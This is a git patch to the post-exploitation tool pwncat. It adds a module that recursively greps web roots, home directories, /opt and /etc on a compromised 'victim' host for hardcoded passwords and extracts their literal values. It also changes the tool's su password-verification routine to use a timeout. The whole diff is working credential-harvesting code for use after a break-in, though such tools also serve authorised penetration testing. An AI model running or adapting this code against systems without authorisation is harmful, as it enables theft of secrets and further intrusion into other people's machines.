From 1f278bb5cc7a96e2457d61f04e38b093c9c36f85 Mon Sep 17 00:00:00 2001 From: Caleb Stewart Date: Fri, 29 May 2020 19:17:34 -0400 Subject: [PATCH] Added initial implementention of configuration searching for passwords. Also, sped up pwncat.victim.su using the timeout command. --- pwncat/enumerate/passwords.py | 114 ++++++++++++++++++++++++++++++++++ pwncat/remote/victim.py | 8 ++- 2 files changed, 121 insertions(+), 1 deletion(-) create mode 100644 pwncat/enumerate/passwords.py diff --git a/pwncat/enumerate/passwords.py b/pwncat/enumerate/passwords.py new file mode 100644 index 0000000..45f6498 --- /dev/null +++ b/pwncat/enumerate/passwords.py @@ -0,0 +1,114 @@ +#!/usr/bin/env python3 +import dataclasses +import os +import re +from typing import Generator, Optional + +from colorama import Fore + +import pwncat +from pwncat.enumerate import FactData + +name = "pwncat.enumerate.passwords" +provides = "passwords" +per_user = True +always_run = False + + +@dataclasses.dataclass +class Password(FactData): + + path: str + value: Optional[str] + lineno: int + line: str + + def __str__(self): + if self.value is not None: + return ( + f"{Fore.YELLOW}{repr(self.value)}{Fore.RESET} from " + f"{Fore.CYAN}{self.path}{Fore.RESET}:{Fore.BLUE}{self.lineno}{Fore.RESET}" + ) + else: + return ( + "Possible password at " + f"{Fore.CYAN}{self.path}{Fore.RESET}:{Fore.BLUE}{self.lineno}{Fore.RESET}" + ) + + @property + def description(self): + return self.line + + +def enumerate() -> Generator[FactData, None, None]: + """ + Enumerate possible passwords in various files across the system + :return: + """ + + # The locations we will search in for passwords + locations = ["/var/www", "$HOME", "/opt", "/etc"] + # The types of files which are "code". This means that we only recognize the + # actual password if it is a literal value (enclosed in single or double quotes) + code_types = [".c", ".php", ".py", ".sh", ".pl", ".js", ".ini"] + grep = pwncat.victim.which("grep") + + if grep is None: + return + + command = f"{grep} -InRiE 'password[\"'\"'\"']?\\s*(=>|=|:)' {' '.join(locations)} 2>/dev/null" + with pwncat.victim.subprocess(command, "r") as filp: + for line in filp: + line = line.decode("utf-8").strip().split(":") + if len(line) < 3: + print(line) + continue + path = line[0] + lineno = int(line[1]) + content = ":".join(line[2:]) + + password = None + + # Check for simple assignment + match = re.search(r"password\s*=(.*)", content, re.IGNORECASE) + if match is not None: + password = match.group(1).strip() + + # Check for dictionary in python with double quotes + match = re.search(r"password[\"']\s*:(.*)", content, re.IGNORECASE) + if match is not None: + password = match.group(1).strip() + + # Check for dictionary is perl + match = re.search(r"password[\"']?\s+=>(.*)", content, re.IGNORECASE) + if match is not None: + password = match.group(1).strip() + + # Don't mark empty passwords + if password is not None and password == "": + password = None + + if password is not None: + _, extension = os.path.splitext(path) + + # Ensure that this is a constant string. For code file types, + # this is normally indicated by the string being surrounded by + # either double or single quotes. + if extension in code_types: + if password[-1] == ";": + password = password[:-1] + if password[0] == '"' and password[-1] == '"': + password = password.strip('"') + elif password[0] == "'" and password[-1] == "'": + password = password.strip("'") + else: + # This wasn't assigned to a constant, it's not helpful to us + password = None + + # Empty quotes? :( + if password == "": + password = None + + # This was a match for the search. We may have extracted a + # password. Either way, log it. + yield Password(path, password, lineno, ":".join(line)) diff --git a/pwncat/remote/victim.py b/pwncat/remote/victim.py index fb3eeb0..9028efe 100644 --- a/pwncat/remote/victim.py +++ b/pwncat/remote/victim.py @@ -1362,8 +1362,14 @@ class Victim: raise PermissionError("no password provided and whoami != root!") if current_user["uid"]["id"] != 0: + timeout = self.which("timeout") + if timeout is not None: + command = f'timeout 0.5 su {user} -c "echo good" || echo failure' + else: + command = f'su {user} -c "echo good" || echo failure' + # Verify the validity of the password - self.env(["su", user, "-c", "echo good"], wait=False) + self.run(command, wait=False) self.recvuntil(b": ") self.client.send(password.encode("utf-8") + b"\n")